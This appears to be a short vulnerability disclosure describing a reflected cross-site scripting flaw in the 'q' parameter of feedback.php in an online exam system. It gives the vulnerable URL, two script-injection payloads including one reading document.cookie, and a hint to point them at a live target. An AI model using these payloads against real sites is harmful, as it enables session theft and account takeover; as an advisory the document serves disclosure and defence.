## 📝 Description

**code-projects Online Exam Mastering System 1.0** is vulnerable to **Reflected Cross-Site Scripting (XSS)** in the `feedback.php` file via the `q` parameter.

This issue allows remote attackers to inject malicious JavaScript into the application, which gets reflected in the response without proper sanitization or encoding. Successful exploitation can lead to cookie theft, account takeover, or other client-side attacks.

## 🔥 Proof of Concept (PoC)

### Vulnerable Endpoint

```
http://localhost/exam/feedback.php?q=Thank%20you%20for%20your%20valuable%20feedback
```

### Exploit Payload

```http
http://localhost/exam/feedback.php?q=<script>alert('XSS')</script>
http://localhost/exam/feedback.php?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E
```

> 💡 **Note:** Replace `localhost` with the deployed target IP or domain if testing on a live environment.

### How it Works

When the above URL is opened by a victim, the malicious script embedded in the `q` parameter gets executed in the context of the victim’s browser. Since the input is directly reflected without sanitization, it opens the door for classic reflected XSS attacks.

## ⚠️ Impact

- **Account Takeover** via session cookie theft.
- **Privilege Escalation** if an admin user clicks the link.
